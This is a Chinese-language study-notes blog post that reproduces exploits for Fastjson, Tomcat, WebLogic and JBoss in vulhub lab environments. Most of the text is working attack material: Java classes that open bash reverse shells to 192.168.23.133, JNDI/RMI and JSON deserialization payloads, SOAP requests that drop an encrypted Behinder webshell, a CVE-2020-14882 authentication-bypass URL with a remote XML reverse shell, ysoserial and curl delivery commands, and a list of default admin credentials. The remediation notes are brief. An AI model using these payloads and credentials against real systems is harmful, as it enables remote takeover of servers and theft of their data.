生命在于学习——框架-中间件的学习(二)

生命在于学习——框架-中间件的学习(二)_第1张图片
声明:本篇文章仅用于学习笔记记录,不得用于其他用途。

一、Fastjson

1、1.2.24反序列化_rce

(1)漏洞介绍

fastjson在解析json字符串的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

(2)漏洞产生的原因

通俗理解就是:漏洞是利用fastjson autotype在处理json字符串的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类(com.sun.rowset.JdbcRowSetImpl)连接远程rmi服务器,通过rmi服务器加载恶意类执行代码。

攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的权限,对服务器造成巨大的影响

补充:rmi 是一种协议,你可以简单的理解为 一台机器执行另一台机器给的命令

(3)影响版本

Fastjson <= 1.2.24

(4)环境搭建

cd vulhub-master/fastjson/1.2.24-rce
docker-compose up -d
docker-compose down

(5)漏洞复现

a.安装javac环境

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
ln -s /opt/jdk1.8.0_20/bin/java /usr/bin/java8
ln -s /opt/jdk1.8.0_20/bin/javac /usr/bin/javac8
javac8 -version
java8 -version

b.获取一个dnslog域名

w08v5g.dnslog.cn

新建一个poc.java文件,编写恶意类 , 这里使用dnslog进行数据外带

import java.lang.Runtime;
import java.lang.Process;

public class poc{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            // String[] commands = {"touch", "/tmp/dayutest"};
            String[] commands = {"/bin/bash", "-c" ,"ping user.`whoami`.w08v5g.dnslog.cn -c 4"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

使用
javac8 poc.java
搭建http服务传输恶意文件
python3 -m http.server
生命在于学习——框架-中间件的学习(二)_第2张图片
我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类poc.class
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.23.133:8000/#poc” 9999
补充:http地址为前面开启监听的地址
格式为什么会有一个#, 因为是固定格式
访问靶场
http://192.168.23.132:8090/
生命在于学习——框架-中间件的学习(二)_第3张图片
浏览器设置代理,开启bp抓包 , 发送到重发器,并修改GET–>POST
payload
{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.133:9999/poc”,
“autoCommit”:true
}
}
生命在于学习——框架-中间件的学习(二)_第4张图片
可以看到请求已经接收到了,dnslog也回显了
生命在于学习——框架-中间件的学习(二)_第5张图片
生命在于学习——框架-中间件的学习(二)_第6张图片
生命在于学习——框架-中间件的学习(二)_第7张图片

(6)漏洞利用

只需要把之前的poc.java要执行的命令修改一下
反弹shell,exp.java文件

import java.lang.Runtime;
import java.lang.Process;

public class exp{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c" ,"bash -i >& /dev/tcp/192.168.23.133/5656 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

javac8 exp.java
开启http服务
python3 -m http.server
nc监听
nc -lvnp 5656
开启rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.23.133:8000/#exp” 9999
payload
{
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.133:9999/exp”,
“autoCommit”:true
}
}
生命在于学习——框架-中间件的学习(二)_第8张图片
成功收到反弹的shell
生命在于学习——框架-中间件的学习(二)_第9张图片

2、 1.2.47反序列化_rce

(1)漏洞介绍

Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令

(2)影响版本

Fastjson <= 1.2.47

(3)环境搭建

vulhub-master/fastjson/1.2.47-rce
docker-compose up -d

(4)漏洞复现

新建文件exp.java

import java.lang.Runtime;
import java.lang.Process;

public class exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
             String[] commands = {"/bin/bash", "-c" ,"bash -i >&/dev/tcp/192.168.23.133/5656 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

javac8 exp.java
开启http服务
python3 -m http.server
nc监听
nc -lvnp 5656
开启rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.23.133:8000/#exp” 9999
浏览器设置代理,开启bp抓包 , 发送到重发器,并修改GET–>POST
Content-Type: application/json
http://192.168.23.133:8090/
payload
{
“a”:{
“@type”:“java.lang.Class”,
“val”:“com.sun.rowset.JdbcRowSetImpl”
},
“b”:{
“@type”:“com.sun.rowset.JdbcRowSetImpl”,
“dataSourceName”:“rmi://192.168.23.133:9999/exp”,
“autoCommit”:true
}
}
生命在于学习——框架-中间件的学习(二)_第10张图片
成功接收到请求和反弹的shell
生命在于学习——框架-中间件的学习(二)_第11张图片
生命在于学习——框架-中间件的学习(二)_第12张图片
生命在于学习——框架-中间件的学习(二)_第13张图片
修复建议
升级版本
推荐工具
BurpFastJsonScan-1.0.8.jar
fastjson_tool.jar

二、Tomcat

1、Tomcat介绍

tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境
简单介绍一些tomcat的目录结构
|-- webapp # 站点根目录
|-- META-INF # META-INF 目录
| -- MANIFEST.MF # 配置清单文件 |-- WEB-INF # WEB-INF 目录 | |-- classes # class文件目录 | | |-- *.class # 程序需要的 class 文件 | | – *.xml # 程序需要的 xml 文件
| |-- lib # 库文件夹
| | -- *.jar # 程序需要的 jar 包 | – web.xml # Web应用程序的部署描述文件
|-- # 自定义的目录
|-- # 自定义的资源文件
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:META-INF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生
成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组
成应用的其它组件,以及应用初始化参数、安全管理约束等。
tomcat 这个 java中间件 , 在历史上也披露出来了很多的漏洞 , 这里我们讲几个经典的漏洞复现

2、CVE-2017-12615

tomcat put方法任意文件写入漏洞
漏洞描述
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
漏洞原理
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求) , 攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传jsp一句话文件,从而造成远程命令执行,getshell等。
默认端口 : 8080
影响范围
影响范围: Apache Tomcat 7.0.0 - 7.0.79 Apache Tomcat/8.5.19
环境搭建
cd vulhub-master/tomcat/CVE-2017-12615
docker-compose up -d
漏洞复现
http://192.168.23.133:8080/
生命在于学习——框架-中间件的学习(二)_第14张图片
首页抓包,修改为 PUT 方式提交,并写入冰蝎马 , 默认直接 PUT会失败 , 需要绕过
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
生命在于学习——框架-中间件的学习(二)_第15张图片
冰蝎连接
http://192.168.23.133:8080/shell.jsp
rebeyond
生命在于学习——框架-中间件的学习(二)_第16张图片
漏洞修复
设置 readonly为true

3、Tomcat弱口令&部署war包 getshell

漏洞原理
在tomcat8环境下默认进入后台的密码为 tomcat/tomcat ,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令。
使用工具对其进行穷举,得到密码后,也可以进行后台上传恶意代码控制服务器
影响范围
全版本
前提是人家存在弱口令
环境搭建
cd vulhub-master/tomcat/tomcat8
docker-compose up -d
漏洞复现
http://192.168.23.133:8080/manager/html
默认密码:tomcat/tomcat
补充:
其他弱口令
admin:admin
ADMIN:ADMIN
admin:j5Brn9
admin:None
admin:tomcat
cxsdk:kdsxc
j2deployer:j2deployer
ovwebusr:OvW*busr1
QCC:QLogic66
role:changethis
role1:role1
role1:tomcat
root:root
tomcat:changethis
tomcat:s3cret
tomcat:tomcat
xampp:xampp
生命在于学习——框架-中间件的学习(二)_第17张图片
制作war包, 将jsp木马压缩为zip,然后修改后缀为war就可以了。这里仍然使用冰蝎马
生命在于学习——框架-中间件的学习(二)_第18张图片
默认会在网站根目录下生成一个和war名一致的路径 , 然后马的文件名为压缩前的文件名
http://192.168.23.133:8080/shell/shell.jsp
rebeyond
生命在于学习——框架-中间件的学习(二)_第19张图片
漏洞修复

  1. 设置强口令:
    conf/tomcat-users.xml
  2. 删除manger文件

4、CVE-2019-0232

tomcat 远程代码执行漏洞
漏洞描述
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
影响范围
Apache Tomcat 9.0.0.M1 到 9.0.17
Apache Tomcat 8.5.0 到 8.5.39
Apache Tomcat 7.0.0 到 7.0.93
利用前提
1.Windows系统
2.启用CGIServlet和enableCmdLineArguments参数
3.privileged=“true”
http://ip:port/cgi-bin/hello.bat?&dir
生命在于学习——框架-中间件的学习(二)_第20张图片
漏洞修复

  1. 禁用enableCmdLineArguments参数。
  2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。
  3. 升级tomcat到9.0.17以上版本。

5、CVE-2020-1938

Apache Tomcat 文件包含漏洞
漏洞描述
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响范围
Apache Tomcat 6
Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
环境搭建
cd vulhub-master/tomcat/CVE-2020-1938
docker-compose up -d
漏复现洞
tomcat默认的conf/server.xml中配置了2个Connector,一个为 8080 的对外提供的HTTP协议端口,另外一个就是默认的 8009 AJP协议端口,两个端口默认均监听在外网ip。
poc
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.23.133
生命在于学习——框架-中间件的学习(二)_第21张图片
漏洞修复

  1. 更新到最新版本
  2. 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉。
  3. 配置ajp配置中的secretRequired跟secret属性来限制认证。

三、weblogic

1、weblogic介绍

**WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,**WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2、weblogic 后台弱口令getshell

漏洞描述

通过弱口令进入后台界面 , 上传部署war包 , getshell

影响范围

全版本

环境搭建

cd  vulhub-master/weblogic/weak_password
docker-compose up -d

漏洞复现

默认账号密码:weblogic/Oracle@123
weblogic常用弱口令:https://cirt.net/passwords?criteria=weblogic
这里注意, 单个账号错误密码5次之后就会自动锁定。  
http://192.168.23.133:7001/console/login/LoginForm.jsp

生命在于学习——框架-中间件的学习(二)_第22张图片
登录后台后,点击部署,点击安装,点击上传文件

weblogic
Oracle@123

生命在于学习——框架-中间件的学习(二)_第23张图片

生命在于学习——框架-中间件的学习(二)_第24张图片

生命在于学习——框架-中间件的学习(二)_第25张图片

上传war包,jsp木马压缩成zip,修改后缀为war,上传

生命在于学习——框架-中间件的学习(二)_第26张图片

生命在于学习——框架-中间件的学习(二)_第27张图片

生命在于学习——框架-中间件的学习(二)_第28张图片

生命在于学习——框架-中间件的学习(二)_第29张图片

生命在于学习——框架-中间件的学习(二)_第30张图片

访问部署好的war

http://192.168.23.133:7001/shell/shell.jsp

生命在于学习——框架-中间件的学习(二)_第31张图片
使用冰蝎链接

http://192.168.23.133:7001/shell/shell.jsp
rebeyond
```![在这里插入图片描述](https://img-blog.csdnimg.cn/d6acc04282d9481bb1a070d41e9f1068.png)

漏洞修复

修改弱口令


##	3、CVE-2019-2725

wls-wsat反序列化漏洞

漏洞描述

WebLogic 反序列化漏洞CVE-2017-3248和WebLogic WLS LS组件的远程代码执行漏洞CVE-2017- 10271,Oracle官方在2017年10月份发布了该漏洞的补丁,但没有公开漏洞细节,如果企业未及时安装补丁,存在被攻击的风险。对企业服务器发起了大范围远程攻击,对大量企业的服务器造成了严重威胁


影响范围

受影响版本:WebLogic 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0。


环境搭建

cd vulhub-master/weblogic/weak_password
docker-compose up -d


漏洞复现

访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11


http://192.168.1.159:7001/wls-wsat/CoordinatorPortType


![image-20220906152906944](https://img-blog.csdnimg.cn/img_convert/79faf16dddda81772ce6be80a14a8864.png)

在当前页面抓包之后,添加下面请求包,在标签之间分别写存放 jsp 的路径和要写入的 shell

![image-20220906153245494](https://img-blog.csdnimg.cn/img_convert/b785bf4fc81b9736d5604622e3970bd3.png)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.159:7001
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/hAccept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 1087


soapenv:Header



servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> ]]> ```

冰蝎链接shell

http://192.168.1.159:7001/bea_wls_internal/shell.jsp
rebeyond

生命在于学习——框架-中间件的学习(二)_第32张图片
漏洞修复

更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求,考虑是否删除WLS-WebServices组件。包含此组件路径为: 		
  Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat 
  Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war 
  Middleware/wlserver_10.3/server/lib/wls-wsat.war 
以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-w sat/ 是否为404页面。  
升级版本

4、CVE-2018- 2628

WebLogic T3协议反序列化命令执行漏洞
漏洞描述

Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它 Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。 

影响范围

Oracle WebLogic Server10.3.6.0.0
Oracle WebLogic Server12.1.3.0.0
Oracle WebLogic Server12.2.1.2.0
Oracle WebLogic Server12.2.1.3.0

环境搭建

cd  vulhub-master/weblogic/CVE-2018-2628
docker-compose up -d

漏洞复现
直接使用利用工具
生命在于学习——框架-中间件的学习(二)_第33张图片
连接shell

http://192.168.23.133:7001/bea_wls_internal/wlscmd.jsp?tom=aWQ=

生命在于学习——框架-中间件的学习(二)_第34张图片
漏洞修复

1.及时更新补丁 ;
2.禁用T3协议 ;
3.禁止T3端口对外开放,或者限制可访问T3端口的IP来源。
4.升级版本

5、CVE-2018-2894

WebLogic文件任意上传漏洞
漏洞描述

Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在 "生产模式" 下默认
不开启,所以该漏洞有一定限制。

影响版本

weblogic 10.3.6.0
weblogic 12.1.3.0
weblogic 12.2.1.2
weblogic 12.2.1.3

环境搭建

cd  vulhub-master/weblogic/CVE-2018-2894
docker-compose up -d

这里的后台密码是随机的,获取密码: docker-compose logs | grep password
image-20220906160225434

weblogic
xZNU746F

访问

http://192.168.23.133:7001/console/login/LoginForm.jsp

设置web服务测试开启
生命在于学习——框架-中间件的学习(二)_第35张图片
生命在于学习——框架-中间件的学习(二)_第36张图片
点击保存 , 进入 config.do 文件进行设置,将目录设置为 ws_utc 应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要

http://192.168.23.133:7001/ws_utc/config.do
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

生命在于学习——框架-中间件的学习(二)_第37张图片
漏洞复现
点击安全 , 点击添加
生命在于学习——框架-中间件的学习(二)_第38张图片
右键审查元素 , 然后搜索16 , 找到对应时间戳生命在于学习——框架-中间件的学习(二)_第39张图片
冰蝎链接

http://192.168.23.133:7001/ws_utc/css/config/keystore/1662550222461_test.jsp
rebeyond

生命在于学习——框架-中间件的学习(二)_第40张图片
漏洞修复

1.关闭web服务测试开启
2.升级版本

6、CVE-2017-3506

XMLDecoder反序列化漏洞
漏洞描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的 xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

影响范围

weblogic 10.x
weblogic 12.1.3

环境搭建

cd  vulhub-master/weblogic/weak_password
docker-compose up -d

漏洞复现

http://192.168.23.133:7001/_async/AsyncResponseService

若出现以下显示,则说明存在漏洞
生命在于学习——框架-中间件的学习(二)_第41张图片
当前页面抓包 , 修改请求包 , 写入shell
生命在于学习——框架-中间件的学习(二)_第42张图片

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.23.133:7001
Content-Length: 1261
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xxxxservers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>

使用冰蝎链接

http://192.168.23.133:7001/_async/webshell.jsp
rebeyond

生命在于学习——框架-中间件的学习(二)_第43张图片
漏洞修复

1.禁用bea_wls9_async_response组件; 
2.删除wls9_async_response的war包并重启 ;
3.禁止访问 /_async/* 路径。 

7、CVE-2020-14882

WebLogic远程代码执行漏洞

(1)漏洞介绍

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞链,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机

(2)影响版本

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0

(3)环境搭建

cd vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

(4)漏洞复现

访问管理控制台

http://192.168.23.133:7001/console/login/LoginForm.jsp

使用以下url绕过登录认证

http://192.168.23.133:7001/console/css/%252e%252e%252fconsole.portal

生命在于学习——框架-中间件的学习(二)_第44张图片

此时,还没有上传 webshell 的权限
生命在于学习——框架-中间件的学习(二)_第45张图片
第二个漏洞,CVE-2020-14883,有两种利用方式,一种是通过

com.tangosol.coherence.mvel2.sh.ShellSession,另一种是通过

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

访问以下 URL 以链接 2 个漏洞并执行以下命令com.tangosol.coherence.mvel2.sh.ShellSession

http://192.168.23.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

我们进入到docker中可以看到命令已经成功运行了

在这里插入图片描述
这种利用方法只能在 Weblogic 12.2.1 及以上版本中使用,因为 10.3.6 没有 class

com.tangosol.coherence.mvel2.sh.ShellSession

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更常见的漏洞利用,首次在 CVE-2019-2725 中引入,可用于任何 Weblogic 版本。
要利用FileSystemXmlApplicationContext,您需要制作一个精心制作的 XML 文件并将其提供到 Weblogic 可以
访问的服务器上,例如http://192.168.23.133:8000/rce.xml , 因为我们的环境在docker中 , 使用物理机存在恶意的
xml文件 , 是一定能够访问的


<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bashvalue>
            <value>-cvalue>
            <value>& /dev/tcp/192.168.23.133/5656 0>&1]]>value>
          list>
        constructor-arg>
    bean>
beans>

然后通过以下 URL,Weblogic 将加载此 XML 并执行其中的命令

http://192.168.23.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.23.133:8000/rce.xml")

成功接收到反弹的shell
生命在于学习——框架-中间件的学习(二)_第46张图片
该漏洞利用的缺点是,它要求 Weblogic 服务器能够访问恶意 XML
给你一个网站你怎么判断是否使用了weblogic

1. 7001
2. 浏览器插件
3.报错页面  Error 404--Not Found
4.默认管理页面路由  /console/login/LoginForm.jsp
......

四、Jboss

1、Jboss介绍

JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得JBoss广为流行。

2、CVE-2015-7501

jBoss JMXInvokerServlet 反序列化漏洞
漏洞介绍

这是经典的JBoss反序列化漏洞,JBoss在`/invoker/JMXInvokerServlet`请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的 Gadget 执行任意代码

影响范围

Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d

访问主页

http://192.168.23.133:8080

生命在于学习——框架-中间件的学习(二)_第47张图片
漏洞复现
poc , 访问地址

http://192.168.23.133:8080/invoker/JMXInvokerServlet

返回如下,说明接口开放,此接口存在反序列化漏洞
生命在于学习——框架-中间件的学习(二)_第48张图片
下载 ysoserial 工具进行漏洞利用

https://github.com/frohoff/ysoserial

kali执行下面命令(echo后面那一串,自行用base64解码后修改再编码)

java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i} " >exp.ser

# 更改反弹shell的base64编码内容

设置监听的端口

nc -lvnp 6666

执行命令

curl http://192.168.23.133:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

成功收到反弹的shell
生命在于学习——框架-中间件的学习(二)_第49张图片
漏洞修复

升级版本

3、CVE-2017-7504

JBossMQ JMS 反序列化漏洞
漏洞介绍

`JBoss AS 4.x`及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行

影响范围

影响范围:JBoss 4.x 以及之前的所有版本

环境搭建

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

漏洞复现
访问漏洞地址

http://192.168.23.133:8080/jbossmq-httpil/HTTPServerILServlet

生命在于学习——框架-中间件的学习(二)_第50张图片
出现该页面存在漏洞!

这里直接利用 JavaDeserH2HC 生成利用文件

javac8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java8 -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.23.133:8888     
# 接收反弹的ip和port

监听8888端口

nc -lvnp 8888

利用
操作命令

curl http://192.168.23.133:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功获得反弹shell!
生命在于学习——框架-中间件的学习(二)_第51张图片
漏洞修复

升级至最新版

4、CVE-2017-12149

JBoss 5.x/6.x 反序列化漏洞
漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

影响范围

JBoss 5.x/6.x

环境搭建

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

漏洞复现
访问漏洞页面

http://192.168.23.133:8080/

生命在于学习——框架-中间件的学习(二)_第52张图片
验证是否存在漏洞 , 访问

http://192.168.23.133:8080/invoker/readonly

生命在于学习——框架-中间件的学习(二)_第53张图片
返回500,说明页面存在,此页面存在反序列化漏洞
使用之前CVE-2015-7501的ser文件 , 利用即可
监听端口

nc -lvnp 8888

利用…Map.ser

curl http://192.168.23.133:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

成功接收到反弹的shell
生命在于学习——框架-中间件的学习(二)_第54张图片

5、Administration Console 弱口令

漏洞描述

Administration Console管理页面存在弱口令,`admin:admin`,登陆后台上传war包 , getshell

影响版本

全版本

环境搭建
因为这里用的环境是CVE-2017-12149的靶机

cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d

密码文件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
admin:vulhub

漏洞复现

http://192.168.23.133:8080/admin-console/login.seam?conversationId=4

生命在于学习——框架-中间件的学习(二)_第55张图片
账号密码

admin
vulhub

点击web应用
生命在于学习——框架-中间件的学习(二)_第56张图片
上传war木马 , 点击 Add a new resource,上传war包 , 使用我们之前制作的 shell.war , 然后点击继续
生命在于学习——框架-中间件的学习(二)_第57张图片
成功上传shell.war , 点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮)
使用冰蝎链接

http://192.168.23.133:8080/shell/shell.jsp
rebeyond

生命在于学习——框架-中间件的学习(二)_第58张图片
修复方案

使用强口令

6、低版本JMX Console未授权访问Getshell

漏洞描述

此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执行任何功能。  

影响范围

Jboss4.x以下

环境搭建
使用 CVE-2017-7504 环境

cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d

漏洞复现
访问

http://192.168.23.133:8080/

生命在于学习——框架-中间件的学习(二)_第59张图片
这里我们使用的复现环境是不存在的 , 所以需要密码

admin
admin

生命在于学习——框架-中间件的学习(二)_第60张图片
然后找到 jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)
生命在于学习——框架-中间件的学习(二)_第61张图片
找到页面中的 void addURL() 选项来远程加载war包来部署
生命在于学习——框架-中间件的学习(二)_第62张图片
制作war包 , 这里用之前制作好的 test.war , 然后用 python 开启web服务

python3 -m http.server

填写war包远程地址

http://192.168.1.112:8000/test.war

生命在于学习——框架-中间件的学习(二)_第63张图片
然后跳转以下页面
